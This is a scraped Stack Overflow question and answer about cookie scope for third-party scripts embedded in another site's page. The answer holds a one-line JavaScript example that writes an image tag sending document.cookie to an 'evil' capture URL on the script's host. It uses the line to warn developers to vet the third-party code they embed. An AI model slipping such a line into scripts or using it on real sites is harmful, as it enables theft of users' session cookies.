问题
I've read a lot of content online about cookies, but nothing addressing this question: Let's say I have a server at a.com and a web page served by b.com embeds a script in that web page which lives on my server:
<script src='a.com/script.js'></script>
What is that script allowed to do in terms of setting cookies? Can it set a cookie with domain=a.com? I'd assume so since the script is served from that domain. Can it also set a cookie with domain=b.com since the page is served from that server?
I'm trying to get my head around what "first-party" and "third-party" mean in the context of my script called from another host's web page.
回答1:
I don't believe the origin of a .js file is relevant. The cookie domain has to do with the domain of the document being rendered.
If I visit http://www.b.com/ and it includes
<script src="http://www.a.com/some/file.js"></script>
Then b.com is trusting a.com's code to act in good faith. The code executes as part of the page being viewed. Since the javascript code will execute in the browser, it could read cookies from b.com and pass that data along by creating an tag in the document where src includes the data.
For example, if a.com's javascript file includes
document.writeln("<img src='http://www.a.com/evil/data/capturer?" + document.cookie + "'>");
Then the malicious webmaster of a.com could check his web server logs and see b.com's cookies.
So, the question is, if a.com is malicious, why did b.com include code from a.com in their page? They probably didn't. As web developers, we need to verify the trustworthiness of any 3rd party code we embed in our sites.
来源：https://stackoverflow.com/questions/20170040/can-a-third-party-script-set-a-first-party-cookie